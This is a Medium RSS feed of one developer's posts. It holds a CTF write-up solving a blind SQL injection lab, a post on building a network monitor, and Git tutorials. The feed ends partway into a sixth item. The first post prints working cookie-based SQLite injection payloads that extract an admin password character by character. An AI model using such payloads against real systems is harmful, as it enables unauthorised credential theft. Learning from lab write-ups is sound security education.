<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Alireza Teymuri on Medium]]></title>
        <description><![CDATA[Stories by Alireza Teymuri on Medium]]></description>
        <link>https://medium.com/@teymuri_dev?source=rss-5ede0b34a9f2------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*yJLTTr2qVF8_IM_1p2LyTA.jpeg</url>
            <title>Stories by Alireza Teymuri on Medium</title>
            <link>https://medium.com/@teymuri_dev?source=rss-5ede0b34a9f2------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 11:26:01 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@teymuri_dev/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[An Interesting Blind SQL Injection Challenge I Encountered]]></title>
            <link>https://medium.com/@teymuri_dev/an-interesting-blind-sql-injection-challenge-i-encountered-d3f2f710be19?source=rss-5ede0b34a9f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/d3f2f710be19</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[blind-sql-injection]]></category>
            <dc:creator><![CDATA[Alireza Teymuri]]></dc:creator>
            <pubDate>Sun, 29 Nov 2026 18:24:21 GMT</pubDate>
            <atom:updated>2026-11-29T18:24:21.426Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="SQL injection attack flow" src="https://cdn-images-1.medium.com/max/944/1*USVaCpNIitC2GrT5xm2fvw.png" /><figcaption>SQL injection attack flow (created using <a href="https://www.drawio.com/">draw.io</a>)</figcaption></figure><p>A few days ago, I completed a cybersecurity course, and one of its SQL injection challenges caught my attention. Today, I’d like to share my experience solving it and explain what made it interesting.</p><h4>SELECT [definition] FROM [SQL injection];</h4><p>So, what is SQL injection? This article from PortSwigger explains it well:</p><blockquote><em>SQL injection (SQLi) is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. This can allow an attacker to view data that they are not normally able to retrieve. This might include data that belongs to other users, or any other data that the application can access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application’s content or behavior.</em></blockquote><p>The article above explains SQL injection in detail and provides some examples, so I won’t go into further detail here. Let’s jump into the challenge.</p><h4>The challenge: SELECT passwords FROM users WHERE username=’Admin’;</h4><p>This challenge involved Blind SQL Injection. After logging into the vulnerable website, the application sets a cookie for user and sends it with each request. The server then uses this cookie when interacting with the database.</p><p>Here’s an example of an HTTP GET request sent to the server:</p><pre>GET /users/profile/ HTTP/1.1<br>Host: vulnerable-lab.example.com<br>Cookie: cookie=&lt;session-cookie&gt;; access-cookie: eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiIsImtpZCI6Ijc3YTNkZTQ0ODNmYWMzMDkxOGQyNGFjMTY5NjJhMDEyIn0.eyJtZXNzYWdlIjoiSGkhIFRoaXMgSldUIGlzIGZha2UgYW5kIHdhcyBnZW5lcmF0ZWQgdXNpbmcgaHR0cHM6Ly93d3cuc2NvdHRicmFkeS5pby90b29scy9qd3QuIElmIHlvdSdyZSByZWFkaW5nIHRoaXMsIHlvdSdyZSBhIGN1cmlvdXMgaGFja2VyIDopLiBUaGlzIHRva2VuIGlzIHBhcnQgb2YgbXkgU1FMIGluamVjdGlvbiBibG9nIHBvc3QuIEZlZWwgZnJlZSB0byBjaGVjayBpdCBvdXQ6IGh0dHBzOi8vdGV5bXVyaS1hbGlyZXphLmdpdGh1Yi5pby9ibG9nL2luZGV4Lmh0bWwifQ.MX3Gzd5g5BZSsHqKEfVAVq5_XSBd2Wj_Fp08C0-mT_8ylk11lyf_lViZZJoyz_8UdV2YmEt3EIVu8-XYEUiIDg;<br>Cache-Control: max-age=0<br>Upgrade-Insecure-Requests: 1<br>User-Agent: Mozilla/5.0</pre><p>The server then checks if the cookie parameter exists. If it does, the application displays a welcome notification to the user (e.g. “welcome, user.”).</p><p>The challenge also provided some information: the credentials required to log in, the database engine (SQLite), and what we supposed to retrieve.</p><p>We had already obtained the admin’s username from the previous challenge: IamAdmin. Now, we needed to find the admin’s password from the passwords column. The goal is to log in as the administrator to complete the challenge.</p><p>I wanted to make sure the cookie was our entry point, so I modified it slightly using Burp Suite’s Repeater tab:</p><pre>Cookie: cookie=&lt;session-cookie&gt;&#39; --<br>Cookie: cookie=&lt;session-cookie&gt;&#39; AND &#39;0&#39;=&#39;1 --</pre><p>The first payload worked as expected. With the second payload, the welcome notification disappeared because the And condition made the SQL query evaluate to false.</p><p>Then, I created a list containing all lowercase and uppercase English letters, along with the digits from 0 to 9. Then, I tried the following payload:</p><pre>Cookie: cookie=&lt;session-cookie&gt;&#39; AND (SELECT substr(passwords,1,1) FROM users WHERE username=&#39;IamAdmin&#39;)=&#39;a --</pre><p>I used a as the candidate character and started testing the entire list. Surprisingly, none of the 62 characters matched!</p><p>I then tried comparing characters using binary search instead of checking for an exact match:</p><pre>Cookie: cookie=&lt;session-cookie&gt;&#39; AND (SELECT substr(passwords,1,1) FROM users WHERE username=&#39;IamAdmin&#39;)&gt;&#39;m --</pre><p>I started by comparing the character against m .With each successful comparison, I could see the welcome notification.</p><p>Eventually, I reached a point where &lt;&#39;b was true, &lt;&#39;a was false, and &gt;&#39;Z was true. Yet, =&#39;a returned false!</p><p>I was getting closer to identifying the first character of the administrator’s password, but something was wrong with my approach.</p><p>This time, I changed my payload to compare numeric values instead of raw characters:</p><pre>Cookie: cookie=&lt;session-cookie&gt;&#39; AND (SELECT unicode(substr(passwords,1,1)) FROM users WHERE username=&#39;IamAdmin&#39;)&gt;97 --</pre><p>Here were the results:</p><ul><li>&lt;98 was true.</li><li>&lt;97 was false.</li><li>&gt;96 was true.</li></ul><p>Therefore, the character’s Unicode value was 97. I could also confirm this by testing =97, which displayed the welcome notification. According to the ASCII table, the ASCII code 97 is represented by the character a!</p><p>So why did comparing the character directly against &#39;a return false? I continued retrieving the remaining characters of the password using the same approach:</p><pre>Cookie: cookie=&lt;session-cookie&gt;&#39; AND (SELECT unicode(substr(passwords,2,1)) FROM users WHERE username=&#39;IamAdmin&#39;)&gt;97 --<br>Cookie: cookie=&lt;session-cookie&gt;&#39; AND (SELECT unicode(substr(passwords,3,1)) FROM users WHERE username=&#39;IamAdmin&#39;)&gt;97 --<br>Cookie: cookie=&lt;session-cookie&gt;&#39; AND (SELECT unicode(substr(passwords,4,1)) FROM users WHERE username=&#39;IamAdmin&#39;)&gt;97 --</pre><p>Eventually, I recovered the password and successfully completed the challenge. But I wasn’t satisfied. The challenge itself was no longer the interesting part. I had to understand why comparing raw characters didn’t worked.</p><p>It took me a few minutes to realize that the problem was related to how the injected string comparison interacted with the SQL query. I didn’t have access to the original query, but further testing revealed that the quoting context was responsible: the comparison behaved differently depending on whether the string literal had the expected closing single quote. So the payload with =&#39;a would return false, while =&#39;a&#39; displayed the notification!</p><p>Why did the unicode() function work, then?</p><p>Because instead of comparing string literals, I was comparing numeric values (e.g., 97). This avoided the string quoting issue entirely.</p><h4>Conclusion</h4><p>This challenge taught me not to rely on my assumptions when solving CTF challenges. Not every SQL injection payload needs to follow the same pattern, and there isn’t always just one approach to solving a challenge.</p><p>Thanks for reading.</p><h4>References</h4><ul><li><a href="https://github.com/teymuri-alireza">GitHub</a> — My GitHub account.</li><li><a href="https://portswigger.net/web-security/sql-injection">PortSwigger</a> — SQL Injection definition</li><li><a href="https://www.sqlite.org/lang_corefunc.html">SQLite</a> — SQL Core Functions (substr() and unicode()).</li><li><a href="https://www.geeksforgeeks.org/dsa/binary-search/">GeeksforGeeks</a> — Binary search explanation</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d3f2f710be19" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What I’ve Learned from Writing Woninet: A Local Network Monitoring Tool]]></title>
            <link>https://medium.com/@teymuri_dev/what-ive-learned-from-writing-woninet-a-local-network-monitoring-tool-b1ef1c058d31?source=rss-5ede0b34a9f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/b1ef1c058d31</guid>
            <category><![CDATA[network-monitoring]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[software-development]]></category>
            <dc:creator><![CDATA[Alireza Teymuri]]></dc:creator>
            <pubDate>Sat, 21 Nov 2026 14:52:20 GMT</pubDate>
            <atom:updated>2026-11-21T14:52:20.147Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="Woninet dashboard" src="https://cdn-images-1.medium.com/max/1024/1*wge8NA_PAg1ImsZx8HGF8A.png" /><figcaption>Woninet Dashboard</figcaption></figure><p>It was March 2026 when I felt like I needed to write a program to challenge myself as a developer and also learn along the way. That’s how I came up with the idea of a network monitoring program. I chose Python because it was the language I was most comfortable with at the time, and I started writing it without knowing much about network monitoring. In this article, I’m going to share what I’ve learned from writing Woninet!</p><h4>chore: initial commit</h4><p>It started with a simple idea, a function-based script (not quite a program yet) whose only job was to send ICMP packets and retrieve responses. No web dashboard, and no detailed logging!</p><p>It took me a while to realize that this script wouldn’t get very far. To make it worthwhile, it needed to be maintainable. That’s when I rewrote it using classes and made it modular, to ensure that each component had its own responsibilities.</p><p>It started with the NetworkMonitorCore class. If we take a look at its docstring, we’ll see:</p><blockquote><em>Central controller coordinating database initialization, telemetry<br> collection, persistence, and heuristic alert processing.</em></blockquote><p>Its job is to manage different components, receive ping results form collectors, pass them to the AlertEngine(which checks whether a metric, such as latency, has crossed its threshold based on an AlertRule), and store the results in the database.</p><p>Then the THREADING ISSUE arose. before getting into that, let’s talk about the other user interface.</p><h4>feat(server): implement web dashboard</h4><p>There was an if... else condition to check whether the CLI flag was being used. If not, the server would use monitor.start() and monitor.stop() to manage the core’s lifecycle.</p><p>Things were starting to look good. I started improving the scanning logic, added ARP scanning to retrieve device MAC addresses, added support for both SQLite, and PostgreSQL, and added the pyproject.toml file to make building and distributing the package easier.</p><p>I also implemented various modular page routes, such as /, /alerts, /settings, along with API routes, such as /api/devices, /api/alerts, /api/settings.</p><p>However, The problem was that any broken configuration or failed component could force the server to shutdown, and it was not acceptable. That’s where I came up with the idea of using another architecture to resolve this issue.</p><h4>fix(core): implement MonitorManager to manage the monitoring lifecycle</h4><p>I believe in DRY (Don’t repeat yourself) and try to avoid duplicated code. But sometimes we need to fix an issue to make our application work properly and improve the implementation later.</p><p>I implemented the MonitorManager class to manage the core’s start() and stop() methods, and handle related variables. To ensure that it’s not an exact copy of NetworkMonitorCore, I also added a state variable to keep track of the core’s condition (e.g. healthy, or degraded).</p><p>This way I could check the running state to handle the server’s life span, while using health state to control scan cycles and error handling.</p><h4>refactor(logging): implement DiagnosticManager to collect issues</h4><p>Simple text-based logging was not enough. The architecture was growing from a simple script into a more complex system. I needed something more robust and precise.</p><p>That’s when I created the DiagnosticManager to preserve, collect and display issues. Now, individual component failures wouldn’t necessarily cause the application to shut down.</p><p>I also added /health, /api/health to display issues and the health state of different components, such as the monitor core, database, configuration, and utilities.</p><p>Now that we have a diagnostic manager and a health UI, what happens when a user resolves an issue? Does the application need to be restarted manually? I know, it’s painful!</p><p>So I added another API endpoint, /api/health/restart, which calls the monitor_manager.restart() method. The restart operation runs using a threading.RLock() to ensure that only one operation can manage the monitor at a time. It also includes the _restarting flag, which makes is_alive() return True during an intentional restart. This prevents the server’s watchdog from mistaking the temporary shutdown of NetworkMonitorCore for an unexpected failure and shutting down the application. This way, the server can continue running while the monitoring core is restarted.</p><h4>docs: document the ending</h4><p>Looking back, Woninet taught me that writing software is not just about making things work. It’s also about making them maintainable, handling unexpected failures, and designing components that can work independently. There are still many things I want to improve, but I’m glad I started this project and learned along the way.</p><p>Woninet is now available on PyPI as a Python library, and also supports docker. There’s still plenty of room for improvements.</p><p>Thanks for reading.</p><h4>References</h4><ul><li><a href="https://github.com/woninet/woninet">GitHub</a> — Woninet&#39;s source code on GitHub.</li><li>Medium — You are here.</li><li><a href="https://teymuri-alireza.github.io/blog/posts/2026-nov-21-woninet.html">My Blog</a> — Read this post on my personal blog.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b1ef1c058d31" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Git Mastery — Save Your Work With Git Stash]]></title>
            <link>https://medium.com/@teymuri_dev/git-mastery-save-your-work-with-git-stash-e83bd49cfb15?source=rss-5ede0b34a9f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/e83bd49cfb15</guid>
            <category><![CDATA[version-control-system]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[git]]></category>
            <category><![CDATA[software-engineering]]></category>
            <dc:creator><![CDATA[Alireza Teymuri]]></dc:creator>
            <pubDate>Tue, 07 Jul 2026 19:58:30 GMT</pubDate>
            <atom:updated>2026-07-07T19:58:30.697Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Git Mastery — Save Your Work With Git Stash</strong></h3><p>Hi there. Welcome to another article of the <strong>Git Mastery</strong> series.</p><blockquote><strong><em>Git Mastery</em></strong><em> is a series where I explore Git concepts, workflows, and best practices from everyday commands to advanced techniques. Each article focuses on one topic and can be read independently.</em></blockquote><p>Have you ever been working on a feature when you suddenly realized you needed to make a quick bug fix first? Or one of your team members have made some changes to the repository, and you need to pull their changes first? Of course you can create a work-in-progress commit:</p><pre>$ git add .<br>$ git commit -m &quot;WIP&quot;</pre><p>But there is a cleaner approach. With the help of git stash you can <strong>stash</strong> your changes without staging or committing.</p><h3>Scenario 1</h3><p>Let’s say this is our current state, we have made changes to an unstaged file:</p><pre>$ git status<br><br>On branch main<br>Untracked files:<br>  (use &quot;git add &lt;file&gt;...&quot; to include in what will be committed)<br>	app.py<br><br>nothing added to commit but untracked files present (use &quot;git add&quot; to track)</pre><p>Using git stash you can store the current changes. Let&#39;s try it:</p><pre>$ git stash<br><br>No local changes to save</pre><p>Something interesting happened here. Okay let’s explain. git stash cannot store untracked files. So if you want to store untracked files you should use -u flag with it:</p><pre>$ git stash -u<br><br>Saved working directory and index state WIP on main: 8adbf6f Initial commit</pre><p>Let’s check if that actually worked:</p><pre>$ git status<br><br>On branch main<br>nothing to commit, working tree clean</pre><p>Don’t worry. Our changes are stored in a safe place. You can easily retrieve those changes into the working directory. But first let’s see where the changes are stored:</p><pre>$ git stash list<br><br>stash@{0}: WIP on main: 8adbf6f Initial commit</pre><p>Now to retrieve it:</p><pre>$ git stash pop stash@{0}<br><br>Already up to date.<br>On branch main<br>Untracked files:<br>  (use &quot;git add &lt;file&gt;...&quot; to include in what will be committed)<br>	app.py<br><br>nothing added to commit but untracked files present (use &quot;git add&quot; to track)<br>Dropped stash@{0} (9551684c809779afce1165e18ab9c1ef6b9faf1a)</pre><p>So let’s commit our changes before we forget:</p><pre>$ git add app.py<br>$ git commit -m &quot;add FastAPI in app.py&quot;</pre><h3>Scenario 2</h3><p>If you’ve only modified tracked files, you don’t need the -u flag because Git stashes tracked changes by default. This time I made changes to README.md file which was staged before.</p><pre>$ git status<br><br>On branch main<br>Changes not staged for commit:<br>  (use &quot;git add &lt;file&gt;...&quot; to update what will be committed)<br>  (use &quot;git restore &lt;file&gt;...&quot; to discard changes in working directory)<br>	modified:   README.md<br><br>no changes added to commit (use &quot;git add&quot; and/or &quot;git commit -a&quot;)<br><br>$ git stash<br><br>Saved working directory and index state WIP on main: f116646 add FastAPI in app.py</pre><h3>Scenario 3</h3><p>Imagine you want to stash specified file. Hopefully Git allows you to create multiple stash entries.</p><p>Let’s create some files first:</p><pre>$ echo &quot;added main.py&quot; &gt; main.py<br>$ echo &quot;added models.py&quot; &gt; models.py<br>$ git add .<br>$ git commit -m &quot;added 2 files, main.py and models.py&quot;</pre><pre>$ git status<br><br>On branch main<br>Changes not staged for commit:<br>  (use &quot;git add &lt;file&gt;...&quot; to update what will be committed)<br>  (use &quot;git restore &lt;file&gt;...&quot; to discard changes in working directory)<br>	modified:   main.py<br>	modified:   models.py<br><br>no changes added to commit (use &quot;git add&quot; and/or &quot;git commit -a&quot;)<br><br>$ git stash -- main.py<br><br>Saved working directory and index state WIP on main: 62bdbf9 added 2 files, main.py and models.py</pre><p>Using the -- flag, we can specify the file we want to stash. Even though in some Git versions this may not work. The safest approach is using push flag:</p><pre>$ git stash push main.py</pre><p>Now to check our stash list:</p><pre>$ git stash list<br><br>stash@{0}: WIP on main: 62bdbf9 added 2 files, main.py and models.py<br>stash@{1}: WIP on main: f116646 add FastAPI in app.py</pre><p>Now we have two items in our stash list.</p><h3>Scenario 4</h3><p>What if we no longer need one of our stashed changes? There’s a way to do that too:</p><pre>$ git stash drop stash@{0} <br><br>Dropped stash@{0} (ad293e461ae1a26d4f33d5225d08678933146b33)<br><br>$ git stash list <br><br>stash@{0}: WIP on main: f116646 add FastAPI in app.py</pre><p>As you can see the item stash@{0} is deleted and item stash@{1} has changed its ID to stash@{0}.</p><h3>Scenario 5</h3><p>And last but not least, the stash messages. As you saw git stash uses the last commit message along with a part of the hash as the stash message. We can specify our own stash message using -m flag:</p><pre>$ git stash push sqlite.db -m &quot;stash-database&quot;<br><br>Saved working directory and index state On main: stash-database<br><br>$ git stash list <br><br>stash@{0}: On main: stash-database</pre><p>Okay, this is it for today. In this article we talked about git stash, how to stash both tracked and untracked files, how to specify a file to stash, and how to delete an item from our list. Until next time, take care.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e83bd49cfb15" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Git Mastery #3— Undoing Mistakes in Git]]></title>
            <link>https://medium.com/@teymuri_dev/git-mastery-3-undoing-mistakes-in-git-7dbf4051f733?source=rss-5ede0b34a9f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/7dbf4051f733</guid>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[version-control-system]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[git]]></category>
            <dc:creator><![CDATA[Alireza Teymuri]]></dc:creator>
            <pubDate>Sun, 28 Jun 2026 14:00:53 GMT</pubDate>
            <atom:updated>2026-06-28T14:00:53.999Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="Git Icon" src="https://cdn-images-1.medium.com/max/1000/1*196kO_cdDAbYyFX02Oz1PA.png" /><figcaption>Image from <a href="https://icons8.com/icon/20906/git">icons8</a></figcaption></figure><p>Hi there. Welcome to the 3rd article of the <strong>Git Mastery</strong> series. In the previous <a href="https://medium.com/@teymuri_dev/git-mastery-2-understanding-git-history-with-git-log-06827c3f1d6e">article</a>, we explored git log, how to customize its output, and how to inspect commit details.</p><p>Today we’re going to talk about <strong>undoing mistakes in Git. </strong>Every developer makes mistakes. Maybe you committed with a typo in the commit message, forgot to include a file, or accidentally committed changes you didn’t intend to. Fortunately, Git provides several ways to fix these problems without starting over.</p><h4>Problem 1</h4><p>Let’s say you staged some files and just finished committing:</p><pre>git add .<br>git commit -m &quot;initiel commit&quot;</pre><p>Did you catch the typo in my message? Well, we have to fix that. The --amend argument modifies your most recent commit without creating a new one.</p><pre>git commit --amend</pre><p>The command above opens your preferred text editor with the last commit message written in it. You can simply edit the message. Save the file and exit. You can then verify the updated commit message using git log:</p><pre>$ git commit --amend<br><br>[main 5a9d3a9] initial commit<br> Date: Sun Jun 28 16:32:14 2026 +0330<br> 1 file changed, 0 insertions(+), 0 deletions(-)<br> create mode 100644 file.txt<br><br>$ git log --oneline <br><br>5a9d3a9 (HEAD -&gt; main) initial commit</pre><h4>Problem 2</h4><p>It’s not just about the commit messages. If you forgot to include another file in the commit, simply stage it and run commit --amend again.</p><pre>$ git add file_2.txt <br>$ git commit --amend <br><br>[main dd56cf4] initial commit<br> Date: Sun Jun 28 16:32:14 2026 +0330<br> 2 files changed, 0 insertions(+), 0 deletions(-)<br> create mode 100644 file_2.txt<br> create mode 100644 file.txt</pre><p>Now the previous commit includes both file.txt and file_2.txt files, keeping your logs clean.</p><h4>Problem 3</h4><p>Okay. Now let’s look at the opposite situation. Let’s say we have staged too many files and committed. Now we want to split that commit into two smaller commits. git reset moves the current branch (HEAD) to another commit. This is our current git log result:</p><pre>$ git log --oneline<br><br>dd56cf4 (HEAD -&gt; main) add sql.db<br>b2b6339 edit main.py<br>d2f7fdc Merge branch &#39;feature-A&#39;<br>88e4314 add app.py<br>1d7d679 add main.py<br>465efdb initial commit</pre><p>Let’s reset to commit b2b6339 so the add sql.db commit would be removed.</p><pre>$ git reset b2b6339<br><br>$ git log --oneline<br><br>b2b6339 (HEAD -&gt; main) edit main.py<br>d2f7fdc Merge branch &#39;feature-A&#39;<br>88e4314 add app.py<br>1d7d679 add main.py<br>465efdb initial commit</pre><p>Let’s make sure our files aren’t gone!</p><pre>$ git status<br><br>On branch main<br>Untracked files:<br>  (use &quot;git add &lt;file&gt;...&quot; to include in what will be committed)<br> sql.db<br> README.md<br><br>nothing added to commit but untracked files present (use &quot;git add&quot; to track)</pre><p>See? It’s reset back to the second to last commit. Now we can stage and commit them separately.</p><pre>$ git add sql.db<br>$ git commit -m &quot;add sql.db&quot;<br>$ git add README.md<br>$ git commit -m &quot;update README&quot;</pre><blockquote><em>The removed commit still exists temporarily and can often be recovered using </em><em>git reflog, which we&#39;ll cover in a future article</em></blockquote><h4>Problem 4</h4><p>Last but not least, it’s time for git restore . As the name suggests, it restores files to their previous state, and it’s actually easy.</p><p>If you’ve staged a file and want to unstage it, you can simply use:</p><pre>git restore --staged file.txt</pre><p>The command above removes the file from the Staging Area, but leaves its actual modifications untouched.</p><h4>Problem 5</h4><p>And if you modified a file without staging, you can use:</p><pre>git restore file.txt</pre><p>The command above restores files in the working directory or the staging area to their last committed state, which means the modifications will be gone.</p><p>All right. That’s it for today. In the next article we’ll talk about branches and merges. See you later.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7dbf4051f733" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Git Mastery #2 — Understanding Git History with git log]]></title>
            <link>https://medium.com/@teymuri_dev/git-mastery-2-understanding-git-history-with-git-log-06827c3f1d6e?source=rss-5ede0b34a9f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/06827c3f1d6e</guid>
            <category><![CDATA[git]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[version-control-system]]></category>
            <category><![CDATA[programming]]></category>
            <dc:creator><![CDATA[Alireza Teymuri]]></dc:creator>
            <pubDate>Fri, 12 Jun 2026 16:48:06 GMT</pubDate>
            <atom:updated>2026-06-12T16:48:06.312Z</atom:updated>
            <content:encoded><![CDATA[<h3>Git Mastery #2 — Understanding Git History with git log</h3><figure><img alt="Git Icon" src="https://cdn-images-1.medium.com/max/1000/1*196kO_cdDAbYyFX02Oz1PA.png" /><figcaption>Image from <a href="https://icons8.com/icon/20906/git">icons8</a></figcaption></figure><p>Hi there. Welcome to the 2nd article of the <strong>Git Mastery</strong> series. In the previous <a href="https://medium.com/@teymuri_dev/git-mastery-1-from-git-init-to-your-first-commit-49baa484b1d4">article</a>, we talked about the basics: how to initialize Git in a directory, make changes, and create commits. As we discussed, one of Git’s main purposes is to track changes in a project. To inspect those changes later, we need access to the project’s history.</p><p>There’s no mystery here. Just type the following command to get a history of your changes.</p><pre>git log</pre><p>The output is something like this:</p><pre>commit ca82a6dff817ec66f44342007202690a93763949<br>Author: Scott Chacon &lt;schacon@gee-mail.com&gt;<br>Date: Mon Mar 17 21:52:11 2008 -0700<br><br>    Change version number<br><br>commit 085bb3bcb608e1e8451d4b2432f8ecbe6306e7e7<br>Author: Scott Chacon &lt;schacon@gee-mail.com&gt;<br>Date: Sat Mar 15 16:40:33 2008 -0700<br><br>    Remove unnecessary test<br><br>commit a11bef06a3f659402fe7563abf99ad00de2209e6<br>Author: Scott Chacon &lt;schacon@gee-mail.com&gt;<br>Date: Sat Mar 15 10:31:28 2008 -0700<br><br>    Initial commit</pre><p>As you can see, git log shows the <strong>SHA-1</strong> checksum of the commit, author’s identity, the time that change was committed, and the message of the commit. This way, nothing ever gets lost! By the way, what is a SHA-1 checksum?</p><blockquote><em>Every commit has a unique identifier called a SHA-1 hash. Git uses this hash to distinguish one commit from another</em></blockquote><p>You can always go back to a minute ago or even a year ago to see changes in logs. Talking about going back in time, we can also filter these results using the following arguments:</p><pre>git log --since=1.week<br>git log --since=2.weeks<br>git log --since=&quot;2026–04–15&quot;<br><br>git log --until=1.week<br>git log --until=2.weeks<br>git log --until=&quot;2 years 1 day 3 minutes ago&quot;</pre><p>Sometimes git log output can seem too long. Using the following command, each commit is shown in one line only:</p><pre>git log --oneline</pre><p>You can even use your own format for the log output:</p><pre>git log --pretty=format:&quot;%h - %an, %ar : %s&quot;</pre><p>Here are some useful specifiers you can use for formatting log output:</p><ul><li>%H : Commit hash</li><li>%h : abbreviated commit hash</li><li>%an : Author name</li><li>%ad : Author date</li><li>%ar : Author date, relative</li><li>%ae : Author email</li><li>%s : Subject</li><li>%P : Parent hashes</li><li>%cn : Committer name</li><li>%cd : Committer date</li><li>%cr : Committer date, relative</li><li>%ce : Committer email</li></ul><p>All right. So far so good. I know that git log output can sometimes be overwhelming, but there’s a way to make it easier to read. The--graph argument shows branch relationships at a glance. I know we haven’t talked about branches yet, but for now remember this:</p><blockquote><em>A branch is like a separate workspace where you can develop features without affecting the main line of development.</em></blockquote><p>The output of the --graph argument looks like this:</p><pre>$ git log --oneline --graph<br><br>* 527eae2 (HEAD -&gt; master, origin/master, origin/HEAD) make the conversion of rtt to a float<br>* abc7c15 fix httping support<br>* 8073aaa (tag: v1.1.0) Added individual toggles for - globalstats and - recentstats<br>* 84ac561 Merge pull request #11 from doersino/master<br>|\ <br>| * 421bd2f Fix #7<br>* | 8a59342 Links to the awk implementations<br>* | 0e4c242 Updating URLs in the comments<br>* | 748a7db Updating the donation link<br>* | e8d7538 (tag: v1.0.1) Swapping the order of numbers and characters in the legend.<br>|/ <br>* f0c2b67 Mentioning the optional dependency on stty or tput.<br>* 7824574 Updating download URL from github.com to raw.githubusercontent.com<br>* 10f251a Merge pull request #1 from yggdr/master<br>|\ <br>| * 0d558cf Use /usr/bin/env for compatability<br>|/ <br>* a760f5f Removing gratipay donation link.<br>* 9cfacb6 Merge branch &#39;master&#39; of github.com:denilsonsa/prettyping<br>|\ <br>| * 53f0b3d Changing the label on Gratipay badge.<br>* | 54d3942 Merge branch &#39;master&#39; of github.com:denilsonsa/prettyping<br>|\| <br>| * 6319121 README: Changing header levels, adding a link to the latest release.<br>* | 19fc87f Merge branch &#39;master&#39; of github.com:denilsonsa/prettyping<br>|\| <br>| * a1154f5 Adding gratipay donate badge<br>* | cec2cfe Adding support for httping.<br>* | f80c836 Trying to be more consistent regarding whitespace usage.<br>* | 5772dc6 Adding yet another TODO.<br>|/ <br>* 463665a (tag: v1.0.0) Adding a comment, removing another.<br>* 52d708b Adding link to PayPal donation.<br>* e8009ff Adding Flattr button/link.<br>* 769c9e1 Adding MIT LICENSE, updating some URLs.</pre><p>This is one of the most commonly used combinations because it provides a compact visual representation of the repository history</p><p>One thing is still missing. See, the git log shows the messages, date, and author. But how do we know exactly which files were changed? This is where the --stat argument comes in.</p><pre>$ git log --stat<br><br>commit 52d718b9deaa80e6aad152f65320da66bfc77c75<br>Author: User Name &lt;user-email@gee-mail.com&gt;<br>Date: Sun Apr 5 23:19:18 2015 -0300<br><br>    Fix typo.<br><br>  README.md | 2 +-<br>  1 file changed, 1 insertion(+), 1 deletion(-)<br><br>commit e8008bfdfaa29a08c697e524eab6ad3d3492be1a<br>Author: User Name &lt;user-email@gee-mail.com&gt;<br>Date: Sun Apr 5 22:18:22 2015 -0300<br><br>    Adding documentations button/link.<br><br>  README.md | 2 ++<br>  1 file changed, 2 insertions(+)<br><br>commit 769c9b29c2a6a0177e719c6a44e9e5562e1ff63f<br>Author: User Name &lt;user-email@gee-mail.com&gt;<br>Date: Sun Apr 5 20:57:54 2015 -0300<br><br>    Adding MIT LICENSE.<br><br>  LICENSE | 21 +++++++++++++++++++++<br>  README.md | 2 +-<br>  2 files changed, 22 insertions(+), 1 deletions(-)</pre><p>Now you can see the file name, along with the number of changed lines.</p><p>All right, in this article we talked about how to see the logs in Git, how to customize the output format, and check information on changed files. In the next article we’ll talk about how to undo changes for a cleaner repository. Take care.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=06827c3f1d6e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Git Mastery #1 — From git init to Your First Commit]]></title>
            <link>https://medium.com/@teymuri_dev/git-mastery-1-from-git-init-to-your-first-commit-49baa484b1d4?source=rss-5ede0b34a9f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/49baa484b1d4</guid>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[git]]></category>
            <category><![CDATA[version-control-system]]></category>
            <dc:creator><![CDATA[Alireza Teymuri]]></dc:creator>
            <pubDate>Wed, 10 Jun 2026 14:37:15 GMT</pubDate>
            <atom:updated>2026-06-12T16:48:36.633Z</atom:updated>
